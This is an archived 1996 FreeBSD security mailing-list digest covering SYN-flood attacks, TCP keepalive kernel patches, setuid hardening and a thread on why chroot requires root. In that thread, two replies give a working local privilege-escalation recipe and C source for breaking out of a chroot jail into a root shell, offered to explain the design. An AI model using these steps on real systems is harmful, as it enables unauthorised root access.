From owner-freebsd-security Sun Sep 8 03:12:12 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA00634 for security-outgoing; Sun, 8 Sep 1996 03:12:12 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA00626 for ; Sun, 8 Sep 1996 03:12:10 -0700 (PDT) Received: from mail.crl.com (mail.crl.com [165.113.1.22]) by who.cdrom.com (8.7.5/8.6.11) with SMTP id DAA00215 for ; Sun, 8 Sep 1996 03:12:09 -0700 (PDT) Received: from cheops.anu.edu.au by mail.crl.com with SMTP id AA07044 (5.65c/IDA-1.5 for ); Sun, 8 Sep 1996 01:02:09 -0700 Message-Id: <199609080802.AA07044@mail.crl.com> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA211659454; Sun, 8 Sep 1996 17:57:34 +1000 From: Darren Reed Subject: Re: Panix Attack: synflooding and source routing? To: bugs@freebsd.netcom.com (Mark Hittinger) Date: Sun, 8 Sep 1996 17:57:33 +1000 (EST) Cc: freebsd-security@FreeBSD.org In-Reply-To: <199609072204.RAA16524@freebsd.netcom.com> from "Mark Hittinger" at Sep 7, 96 05:04:24 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk In some mail from Mark Hittinger, sie said: > > > Netcom's IRC servers were attacked by a similar mechanism a couple of > weeks ago - random source addresses on packets that touched telnet, smtp, > auth, irc, and then back to telnet. > > A most effective attack. We tracked it as far as we could and have more > ideas about how to follow it back now. > > I'm jamming with a router buddy trying to get some code into the next cisco > release - we can detect the condition at the router and log which interface > we are getting the packets from. If the router can query its adjacent > routers' "spray log" we'd be able to very quickly find the machine that > the kiddies are running from (naturally it will belong to somebody else :-) ). > > There may be a kernel fix for this but I'm leaning towards a router based > fix at this time. I think it needs to be taken up at NANOG to have filters in place at all the small entry points for PPP dialups and other customers (who only have one or two networks/subnets which require Internet routing) to only permit packets onto the Internet with correct source addresses. THis doesn't prevent the attack, but it does helpp in a major way for tracking the perpetrators. darren From owner-freebsd-security Sun Sep 8 19:29:35 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA16773 for security-outgoing; Sun, 8 Sep 1996 19:29:35 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA16761 for ; Sun, 8 Sep 1996 19:29:31 -0700 (PDT) Received: from io.org (io.org [198.133.36.1]) by who.cdrom.com (8.7.5/8.6.11) with SMTP id TAA03543 for ; Sun, 8 Sep 1996 19:29:29 -0700 (PDT) Received: from zap.io.org (taob@zap.io.org [198.133.36.81]) by io.org (8.6.12/8.6.12) with SMTP id WAA27952; Sun, 8 Sep 1996 22:28:10 -0400 Date: Sun, 8 Sep 1996 22:28:10 -0400 (EDT) From: Brian Tao To: Mike Tsirulnikov cc: FREEBSD-SECURITY-L , BUGTRAQ@NETSPACE.ORG Subject: Re: Panix Attack: synflooding and source routing? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 7 Sep 1996, Mike Tsirulnikov wrote: > > Why don't you move your mail gateway to another machine or > change the identity of the current one? Moving your mail server's IP address around isn't a trivial task. Besides, what's to prevent the hacker from simply synflooding the new IP? -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Mon Sep 9 11:26:28 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA09735 for security-outgoing; Mon, 9 Sep 1996 11:26:28 -0700 (PDT) Received: from eel.dataplex.net (eel.dataplex.net [208.2.87.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA09729 for ; Mon, 9 Sep 1996 11:26:24 -0700 (PDT) Received: from [208.2.87.4] (cod [208.2.87.4]) by eel.dataplex.net (8.6.11/8.6.9) with SMTP id NAA21972 for ; Mon, 9 Sep 1996 13:26:22 -0500 X-Sender: rkw@shark.dataplex.net Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 9 Sep 1996 13:26:21 -0500 To: security@freebsd.org From: rkw@dataplex.net (Richard Wackerbarth) Subject: Question about chroot Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In looking at some of the "make" problems, I ran up against a characteristic of "chroot" that puzzles me. In order to chroot, you must be root. Why? It appears to me than the only thing that chroot does is to restrict the "visable" tree. It does not ADD anything that is not already there. If that is the case, why wouldn't it be good enough for chroot to be suid root and allow any user to execute it? Am I overlooking some security hole? From owner-freebsd-security Mon Sep 9 12:18:46 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA13212 for security-outgoing; Mon, 9 Sep 1996 12:18:46 -0700 (PDT) Received: from halloran-eldar.lcs.mit.edu (halloran-eldar.lcs.mit.edu [18.26.0.159]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA13201 for ; Mon, 9 Sep 1996 12:18:42 -0700 (PDT) Received: by halloran-eldar.lcs.mit.edu; (5.65v3.2/1.1.8.2/19Aug95-0530PM) id AA06748; Mon, 9 Sep 1996 15:18:34 -0400 Date: Mon, 9 Sep 1996 15:18:34 -0400 From: Garrett Wollman Message-Id: <9609091918.AA06748@halloran-eldar.lcs.mit.edu> To: rkw@dataplex.net (Richard Wackerbarth) Cc: security@freebsd.org Subject: Question about chroot In-Reply-To: References: Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk < In looking at some of the "make" problems, I ran up against a > characteristic of "chroot" that puzzles me. > In order to chroot, you must be root. Why? > It appears to me than the only thing that chroot does is to restrict the > "visable" tree. It does not ADD anything that is not already there. mkdir /usr/tmp/hack mkdir /usr/tmp/hack/etc cp my-passwd-files /usr/tmp/hack/etc mkdir /usr/tmp/hack/bin cp /bin/sh /tmp/hack/bin ln /usr/bin/su /usr/tmp/hack/bin mkdir -p /usr/tmp/hack/usr/lib ln /usr/lib/* /usr/tmp/hack/lib chroot /usr/tmp/hack /bin/sh $ /bin/su Password: my-password # chmod u+s /bin/sh # ^D $ ^D /usr/tmp/hack/bin/sh # whatever-I-want -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, ANA, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Mon Sep 9 13:57:11 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA18749 for security-outgoing; Mon, 9 Sep 1996 13:57:11 -0700 (PDT) Received: (from jmb@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA18741 for security; Mon, 9 Sep 1996 13:57:09 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199609092057.NAA18741@freefall.freebsd.org> Subject: AltaVista Firewall To: security Date: Mon, 9 Sep 1996 13:57:08 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk DEC has a firewall product called AltaVista Firewall it is available for BSDI 2.1 (7.8MB) you have to join their "visionary club" in order to download a copy the url is http://altavista.software.digital.com it contains many kernel object modules, some kernel code (eg sys/kern/vfs_conf.c) and many executables, includeing a usr/X11R6/lib/X11/fvwm/.fvwmrc ;)) the software expires on oct 1st this year sounds like it intrudes into the kernel too much for us to be able to use it ;| jmb -- Jonathan M. Bresler FreeBSD Postmaster jmb@FreeBSD.ORG FreeBSD--4.4BSD Unix for PC clones, source included. http://www.freebsd.org/ PGP 2.6.2 Fingerprint: 31 57 41 56 06 C1 40 13 C5 1C E3 E5 DC 62 0E FB From owner-freebsd-security Mon Sep 9 14:09:18 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA19351 for security-outgoing; Mon, 9 Sep 1996 14:09:18 -0700 (PDT) Received: from freebsd.gaffaneys.com (dialup6.gaffaneys.com [134.129.252.25]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA19344 for ; Mon, 9 Sep 1996 14:09:11 -0700 (PDT) Received: (from zach@localhost) by freebsd.gaffaneys.com (8.7.5/8.7.3) id QAA04873; Mon, 9 Sep 1996 16:09:47 -0500 (CDT) Message-Id: <199609092109.QAA04873@freebsd.gaffaneys.com> Subject: Re: Question about chroot In-Reply-To: from Richard Wackerbarth at "Sep 9, 96 01:26:21 pm" To: rkw@dataplex.net (Richard Wackerbarth) Date: Mon, 9 Sep 1996 16:09:46 -0500 (CDT) From: Zach Heilig Cc: freebsd-security@freebsd.org Reply-to: Zach Heilig X-Mailer: ELM [version 2.4ME+ PL24 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In a previous message, Richard Wackerbarth wrote: >In looking at some of the "make" problems, I ran up against a >characteristic of "chroot" that puzzles me. >In order to chroot, you must be root. Why? Basically, all you have to do to become root in a chroot() environment is to hard-link the appropriate setuid executables into a publicly writable directory (usually /usr/tmp), and build your own minimal filesystem to use while in that environment. You need the /etc/master.passwd file (you create it yourself), /etc/group (to put yourself in the wheel group), /usr/sbin/vipw (to rebuild the other passwd files), /usr/bin/su (to gain root), /bin/sh, and any other file utilities that you find you need in the course of the attack (probably hard links to each of the lib*.so.* libraries, and ld/ldd). You should probably put the binaries in /bin (relative to the chroot() root directory). Breaking out of the chroot() environment after you become root is trivial. I have source here that works for FreeBSD: #include #include int main(void) { int i; mkdir("break-out", 0755); chroot("./break-out"); chdir("."); for (i = 0; i < 30; ++i) chdir(".."); chroot("."); execl("/bin/sh", "sh" , (char *) 0); puts("exec failed!"); return 1; } You compile this before calling chroot for /usr/tmp/wherever. At this point, the attacker would clean up his mess in /usr/tmp, and possibly put a setuid shell in an accessible spot. >It appears to me than the only thing that chroot does is to restrict the >"visable" tree. It does not ADD anything that is not already there. But the user can BEFORE running chroot. >If that is the case, why wouldn't it be good enough for chroot to be suid >root and allow any user to execute it? >Am I overlooking some security hole? Yes. This is one reason it is bad to have a world-writable directory on the same filesystem as the /usr filesystem. -- Zach Heilig (zach@blizzard.gaffaneys.com) | ALL unsolicited commercial email Support bacteria -- it's the | is unwelcome. I avoid dealing only culture some people have! | with companies that email ads. From owner-freebsd-security Mon Sep 9 15:59:35 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA27571 for security-outgoing; Mon, 9 Sep 1996 15:59:35 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA27563 for ; Mon, 9 Sep 1996 15:59:32 -0700 (PDT) Received: from eel.dataplex.net (eel.dataplex.net [208.2.87.2]) by who.cdrom.com (8.7.5/8.6.11) with SMTP id PAA05306 for ; Mon, 9 Sep 1996 15:59:28 -0700 (PDT) Received: from [208.2.87.4] (cod [208.2.87.4]) by eel.dataplex.net (8.6.11/8.6.9) with SMTP id RAA24885; Mon, 9 Sep 1996 17:57:52 -0500 X-Sender: rkw@shark.dataplex.net Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 9 Sep 1996 17:57:53 -0500 To: Zach Heilig From: rkw@dataplex.net (Richard Wackerbarth) Subject: Re: Question about chroot Cc: security@freebsd.org Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Thanks everyone for the many replies. >In a previous message, Richard Wackerbarth wrote: >>If that is the case, why wouldn't it be good enough for chroot to be suid >>root and allow any user to execute it? > >>Am I overlooking some security hole? > >Yes. > >This is one reason it is bad to have a world-writable directory on the >same filesystem as the /usr filesystem. Fundamentally, the problem it that certain suid-root programs can 1) be copied and 2) trust the contents of files based solely on their path. In addition, there is no distinction made between "root" in the global environment and "root" in the chrooted environment. As a result, anyone who can "chroot" can trick the system into adopting the chrooted "root" as the global "root". Hence the solution is to either "fix" those routines which are suid-root so that they cannot be make to reference a trojan file (the password file). Otherwise, we have to adopt the present solution of restricting the chroot to "root". And "he" better be very careful in using it. From owner-freebsd-security Tue Sep 10 11:54:55 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA05959 for security-outgoing; Tue, 10 Sep 1996 11:54:55 -0700 (PDT) Received: from gage.com (ns.gage.com [205.217.2.4]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA05950; Tue, 10 Sep 1996 11:54:49 -0700 (PDT) Received: from octopus by gage.com (NX5.67d/NX4.2M) id AA01848; Tue, 10 Sep 96 13:54:47 -0500 Received: from squid by octopus.gage.com (NX5.67e/NX3.0S) id AA25538; Tue, 10 Sep 96 13:50:33 -0500 Received: from insomnia by squid.gage.com (NX5.67e/NX3.0S) id AA15547; Tue, 10 Sep 96 13:55:06 -0500 Message-Id: <9609101855.AA15547@squid.gage.com> Received: by insomnia.gage.com (NX5.67g/NX3.0X) id AA01305; Tue, 10 Sep 96 13:55:17 -0500 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 4.0 v146.2) In-Reply-To: <199609092057.NAA18741@freefall.freebsd.org> X-Nextstep-Mailer: Mail 3.3 (Enhance 1.3) Received: by NeXT.Mailer (1.146.2) From: Ben Black Date: Tue, 10 Sep 96 13:55:08 -0500 To: "Jonathan M. Bresler" Subject: Re: AltaVista Firewall Cc: security@freefall.freebsd.org References: <199609092057.NAA18741@freefall.freebsd.org> Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk the altavista tunnel, however, has freebsd binaries...it's more interesting to me, anyway. b3n black@cypher.net From owner-freebsd-security Tue Sep 10 12:15:03 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA07185 for security-outgoing; Tue, 10 Sep 1996 12:15:03 -0700 (PDT) Received: from fmsc-gw.fmsc.com.au (gw.fmsc.com.au [203.4.181.65]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA07165 for ; Tue, 10 Sep 1996 12:14:59 -0700 (PDT) Received: by fmsc-gw.fmsc.com.au id AA05458 (5.67b/IDA-1.5 for ); Wed, 11 Sep 1996 05:16:53 +1000 Received: from shaggy.fmsc.com.au(203.4.181.10) by fmsc-gw.fmsc.com.au via smap (V1.3) id sma005452; Wed Sep 11 05:16:31 1996 Received: from mrburns.fmsc.co.uk (ras-2.fmsc.com.au [203.4.181.182]) by shaggy.fmsc.com.au (8.7.3/8.7.3) with SMTP id FAA15882 for ; Wed, 11 Sep 1996 05:13:54 +1000 (EST) Message-Id: <3.0b11.32.19960910190410.006e4c94@203.4.181.10> X-Sender: jlo@203.4.181.10 X-Mailer: Windows Eudora Pro Version 3.0b11 (32) Date: Tue, 10 Sep 1996 20:16:24 +1000 To: freebsd-security@FreeBSD.org From: John Paul Lonie Subject: suid/sguid files Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hello all, Just wondering what the effect would be on removing the set u/g of the following files. Most of these are -s kmem or tty or dialer. First of all what difference would the kmem ones have on the root users use of these files, I presume nothing but I wouldn't mind being certain. I suppose the real question is does anything fall over if the kem /tty groups are changed on systems with only the root user. /bin/ps /sbin/dmesg /sbin/dump - why is this tty ? -r-sr-sr-x 1 root tty 188416 Jul 17 03:23 dump /usr/bin/at /usr/bin/atq /usr/bin/atrm /usr/bin/batch /usr/bin/fstat /usr/bin/ipcs /usr/bin/login /usr/bin/modstat /usr/bin/netstat /usr/bin/su /usr/bin/w /usr/bin/uptime /usr/bin/wall Does this affect the shutdown scripts ? /usr/bin/systat /usr/bin/vmstat /usr/libexec/mail.local /usr/local/bin/top /usr/sbin/ppp /usr/sbin/pppd /usr/sbin/pppstats /usr/sbin/pstat /usr/sbin/swapinfo /usr/sbin/trpt /usr/sbin/iostat /usr/sbin/ncrcontrol --- Regards, John Paul Lonie - Systems Administrator Finanical Market Software Consultants Pty Ltd. Email: jlo@fmsc.com.au Mobile: 0419-233-492 Phone: +612-9290-3944 Fax: +612-9262-2858 From owner-freebsd-security Tue Sep 10 12:35:50 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA08367 for security-outgoing; Tue, 10 Sep 1996 12:35:50 -0700 (PDT) Received: from www.trifecta.com (www.trifecta.com [206.245.150.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA08358 for ; Tue, 10 Sep 1996 12:35:46 -0700 (PDT) Received: (from dev@localhost) by www.trifecta.com (8.7.5/8.6.12) id PAA13466; Tue, 10 Sep 1996 15:31:50 -0400 (EDT) Date: Tue, 10 Sep 1996 15:31:50 -0400 (EDT) From: Dev Chanchani To: Brian Tao cc: FREEBSD-SECURITY-L , BUGTRAQ@NETSPACE.ORG Subject: Re: Panix Attack: synflooding and source routing? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 7 Sep 1996, Brian Tao wrote: > Wouldn't turning off source-routing on your border router > alleviate most of this problem? It won't help if you have someone > synflooding a port from within your network, but at least it would > prevent outside attacks. Or is this a "one-way" attack (i.e., a > return route to host is not needed)? syn-flooding dennial of service attacks are one-way attacks. basically, the attacker will spoof tcp/syn packets to a particular port on your machine. typical *nix systems will have a buffer for 4-8 un-acked syn's. this means if they begin to flood your system with syn's without establishing the connection, your system will hang in a semi-open socket state denying, denying other connection open requests. because the attacks are spoofed, you cannot deny packets from a particular host. anyone have any ideas for writing a paricular monitor or patch dealing with this attack? From owner-freebsd-security Tue Sep 10 13:20:52 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA10990 for security-outgoing; Tue, 10 Sep 1996 13:20:52 -0700 (PDT) Received: from gatekeeper.fsl.noaa.gov (gatekeeper.fsl.noaa.gov [137.75.131.181]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA10984 for ; Tue, 10 Sep 1996 13:20:50 -0700 (PDT) Received: from emu.fsl.noaa.gov (kelly@emu.fsl.noaa.gov [137.75.60.32]) by gatekeeper.fsl.noaa.gov (8.7.5/8.7.3) with ESMTP id UAA24036; Tue, 10 Sep 1996 20:20:49 GMT Message-Id: <199609102020.UAA24036@gatekeeper.fsl.noaa.gov> Received: by emu.fsl.noaa.gov (1.40.112.4/16.2) id AA237946851; Tue, 10 Sep 1996 14:20:52 -0600 Date: Tue, 10 Sep 1996 14:20:52 -0600 From: Sean Kelly To: jlo@fmsc.com.au Cc: freebsd-security@FreeBSD.org In-Reply-To: <3.0b11.32.19960910190410.006e4c94@203.4.181.10> (message from John Paul Lonie on Tue, 10 Sep 1996 20:16:24 +1000) Subject: Re: suid/sguid files Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk >>>>> "John" == John Paul Lonie writes: John> /sbin/dump - why is this tty ? So the dump program can write to the ttys of all logged-in users in group operator that the dump needs attention or has completed. -- Sean Kelly NOAA Forecast Systems Laboratory kelly@fsl.noaa.gov Boulder Colorado USA http://www-sdd.fsl.noaa.gov/~kelly/ From owner-freebsd-security Tue Sep 10 14:56:31 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA17662 for security-outgoing; Tue, 10 Sep 1996 14:56:31 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA17652 for ; Tue, 10 Sep 1996 14:56:28 -0700 (PDT) Received: from mailbox.mcs.com (Mailbox.mcs.com [192.160.127.87]) by Kitten.mcs.com (8.7.5/8.7.5) with SMTP id QAA02907 for ; Tue, 10 Sep 1996 16:56:27 -0500 (CDT) Received: by mailbox.mcs.com (/\==/\ Smail3.1.28.1 #28.5) id ; Tue, 10 Sep 96 16:56 CDT Received: (from karl@localhost) by Jupiter.mcs.net (8.7.5/8.7.5) id QAA05225 for freebsd-security@freebsd.org; Tue, 10 Sep 1996 16:56:26 -0500 (CDT) From: Karl Denninger Message-Id: <199609102156.QAA05225@Jupiter.mcs.net> Subject: Request for context To: freebsd-security@freebsd.org Date: Tue, 10 Sep 1996 16:56:26 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Good afternoon. I have been "informed" that some of the Freebsd people didn't like my send-pr report of the traceroute problme and a patch to fix it. I would like confirmation if so. You can post it here or contact me privately. For everyone else's edification, I have decided that as a matter of policy I intend to send "prs" in on any and all future security problems that I find, AND post to this list at the same time all details of same. I will not do this unless I also have a patch to fix the problem. But neither will I "hoard", or permit others to "hoard", fixes which for problems which are likely in wide circulation in the hacker community. This ruckus has already damaged, and perhaps even destroyed, working relationships between ourselves and another Chicagoland ISP. I absolutely will not compromise on security issues -- if you are aware of these, and do NOT send commits for the fixes, you are just as guilty IMHO as those who would practice the exploitation itself. -- -- Karl Denninger (karl@MCS.Net)| MCSNet - The Finest Internet Connectivity http://www.mcs.net/~karl | T1 from $600 monthly; speeds to DS-3 available | 23 Chicagoland Prefixes, 13 ISDN, much more Voice: [+1 312 803-MCS1 x219]| Email to "info@mcs.net" WWW: http://www.mcs.net/ Fax: [+1 312 248-9865] | Home of Chicago's only FULL Clarinet feed! From owner-freebsd-security Tue Sep 10 16:19:49 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA22738 for security-outgoing; Tue, 10 Sep 1996 16:19:49 -0700 (PDT) Received: from zygorthian-space-raiders.MIT.EDU (ZYGORTHIAN-SPACE-RAIDERS.MIT.EDU [18.70.0.61]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA22732 for ; Tue, 10 Sep 1996 16:19:45 -0700 (PDT) Received: (from mycroft@localhost) by zygorthian-space-raiders.MIT.EDU (8.7.4/8.6.11) id TAA17618; Tue, 10 Sep 1996 19:19:25 -0400 (EDT) To: "Jonathan M. Bresler" Cc: tech-net@NetBSD.ORG Cc: roberto@keltia.freenix.fr (Ollivier Robert), freebsd-security@FreeBSD.ORG, BUGTRAQ@NETSPACE.ORG Subject: Re: Panix Attack: synflooding and source routing? References: <199609080253.TAA11619@freefall.freebsd.org> From: mycroft@mit.edu (Charles M. Hannum) Date: 10 Sep 1996 19:19:20 -0400 In-Reply-To: "Jonathan M. Bresler"'s message of Sat, 7 Sep 1996 19:52:59 -0700 (PDT) Message-ID: Lines: 75 X-Mailer: Gnus v5.2.37/Emacs 19.30 Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk "Jonathan M. Bresler" writes: > > --- tcp_input.c.old Sat Sep 7 22:49:11 1996 > +++ tcp_input.c Sat Sep 7 22:49:44 1996 > @@ -451,5 +451,6 @@ > */ > tp->t_idle = 0; > - tp->t_timer[TCPT_KEEP] = tcp_keepidle; > + if (TCPS_HAVEESTABLISHED(tp->t_state)) > + tp->t_timer[TCPT_KEEP] = tcp_keepidle; > > /* I'm not sure this is complete. In the case where we get an ACK that causes us to transition from SYN-RECEIVED to ESTABLISHED (or a SYN+ACK that causes us to transition from SYN-SENT to ESTABLISHED), this seems to leave the keepalive timer still set to the initial connection timeout. While this isn't necessarily a bug, per se, it could cause the first keepalive probe to be done earlier than it should be. Stevens even points this out: `But applying this fix then requires that the keepalive timer be set to its initial value of 2 hours when the connection moves to the established state.' Also, it's worth noting explicitly that this change also affects (and *should* affect) SYN-SENT state in the same fashion as SYN-RECEIVED state; namely that we don't reset the timer until we've actually established the connection. This is relevant if we get just an ACK or just a SYN while in SYN-SENT and either remain in SYN-SENT or transition to SYN-RECEIVED. With all of the above in mind, the following change seems correct: Index: tcp_input.c =================================================================== RCS file: /cvsroot/src/sys/netinet/tcp_input.c,v retrieving revision 1.24 diff -c -2 -r1.24 tcp_input.c *** tcp_input.c 1996/09/09 14:51:20 1.24 --- tcp_input.c 1996/09/10 23:06:14 *************** *** 424,428 **** */ tp->t_idle = 0; ! tp->t_timer[TCPT_KEEP] = tcp_keepidle; /* --- 424,429 ---- */ tp->t_idle = 0; ! if (TCPS_HAVEESTABLISHED(tp->t_state)) ! tp->t_timer[TCPT_KEEP] = tcp_keepidle; /* *************** *** 668,671 **** --- 669,673 ---- soisconnected(so); tp->t_state = TCPS_ESTABLISHED; + tp->t_timer[TCPT_KEEP] = tcp_keepidle; /* Do window scaling on this connection? */ if ((tp->t_flags & (TF_RCVD_SCALE|TF_REQ_SCALE)) == *************** *** 911,914 **** --- 913,917 ---- soisconnected(so); tp->t_state = TCPS_ESTABLISHED; + tp->t_timer[TCPT_KEEP] = tcp_keepidle; /* Do window scaling? */ if ((tp->t_flags & (TF_RCVD_SCALE|TF_REQ_SCALE)) == From owner-freebsd-security Tue Sep 10 18:25:33 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA28593 for security-outgoing; Tue, 10 Sep 1996 18:25:33 -0700 (PDT) Received: from scapa.cs.ualberta.ca (root@scapa.cs.ualberta.ca [129.128.4.44]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA28588 for ; Tue, 10 Sep 1996 18:25:31 -0700 (PDT) Received: from ve6kik by scapa.cs.ualberta.ca with UUCP id <13080-11310>; Tue, 10 Sep 1996 19:25:22 -0600 Received: by ve6kik.ampr.ab.ca (Smail3.1.28.1 #5) id m0v0cUy-000OFNC; Tue, 10 Sep 96 17:45 WET DST Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id RAA13947; Tue, 10 Sep 1996 17:42:38 -0600 (MDT) Date: Tue, 10 Sep 1996 17:42:38 -0600 (MDT) From: Marc Slemko To: John Paul Lonie cc: freebsd-security@freebsd.org Subject: Re: suid/sguid files In-Reply-To: <3.0b11.32.19960910190410.006e4c94@203.4.181.10> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I started putting together a file running through all the setuid files on a default FreeBSD install and making suggestions about what happens if you remove the setuid bit, and what alternatives there are. I hope to finish it up and get around to posting it sometime. In the meantime, a few comments about a few of the items mentioned. On Tue, 10 Sep 1996, John Paul Lonie wrote: > Hello all, > > Just wondering what the effect would be on removing the set u/g of > the following files. Most of these are -s kmem or tty or dialer. > > First of all what difference would the kmem ones have on the root users use > of these files, I presume nothing but I wouldn't mind being certain. In general, unless files are setuid something other than root, removing the setuid and setgid bits will no result in any change in behavior when root runs them. > I suppose the real question is does anything fall over if the kem /tty > groups are changed on systems with only the root user. There should be no systems with only root. Limit your losses; if you aren't running as root all the time, you can't hurt as much. sudo is magic. > /sbin/dump - why is this tty ? -r-sr-sr-x 1 root tty 188416 Jul 17 03:23 > dump As someone has already pointed out, it is for use in conjunction with the n option which notifies those in the group operator when it needs attention. > /usr/bin/login Setuid can be taken off login as long as you don't need to allow users who are already logged in to login with a different name and password by execing login. > /usr/bin/su You probably want to keep su setuid unless you use something like sudo. Never long as root, use su or sudo. > /usr/bin/wall Does this affect the shutdown scripts ? No. shutdown uses wall, but it runs as root anyway so who cares. > /usr/libexec/mail.local Removing the setuid bit breaks local mail delivery. From owner-freebsd-security Wed Sep 11 17:33:41 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA17315 for security-outgoing; Wed, 11 Sep 1996 17:33:41 -0700 (PDT) Received: (from jmb@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA17308; Wed, 11 Sep 1996 17:33:35 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199609120033.RAA17308@freefall.freebsd.org> Subject: Re: Panix Attack: synflooding and source routing? To: mycroft@mit.edu (Charles M. Hannum) Date: Wed, 11 Sep 1996 17:33:35 -0700 (PDT) Cc: tech-net@NetBSD.ORG, roberto@keltia.freenix.fr, freebsd-security@FreeBSD.ORG, BUGTRAQ@NETSPACE.ORG In-Reply-To: from "Charles M. Hannum" at Sep 10, 96 07:19:20 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Charles M. Hannum wrote: > > > "Jonathan M. Bresler" writes: > > > > > --- tcp_input.c.old Sat Sep 7 22:49:11 1996 > > +++ tcp_input.c Sat Sep 7 22:49:44 1996 > > @@ -451,5 +451,6 @@ > > */ > > tp->t_idle = 0; > > - tp->t_timer[TCPT_KEEP] = tcp_keepidle; > > + if (TCPS_HAVEESTABLISHED(tp->t_state)) > > + tp->t_timer[TCPT_KEEP] = tcp_keepidle; > > > > /* > > I'm not sure this is complete. this patch is not correct, but it is sufficient, i believe. > In the case where we get an ACK that causes us to transition from > SYN-RECEIVED to ESTABLISHED (or a SYN+ACK that causes us to transition > from SYN-SENT to ESTABLISHED), this seems to leave the keepalive timer > still set to the initial connection timeout. While this isn't > necessarily a bug, per se, it could cause the first keepalive probe to > be done earlier than it should be. Stevens even points this out: `But > applying this fix then requires that the keepalive timer be set to its > initial value of 2 hours when the connection moves to the established > state.' agreed, adding that would make the patch correct as well ;) 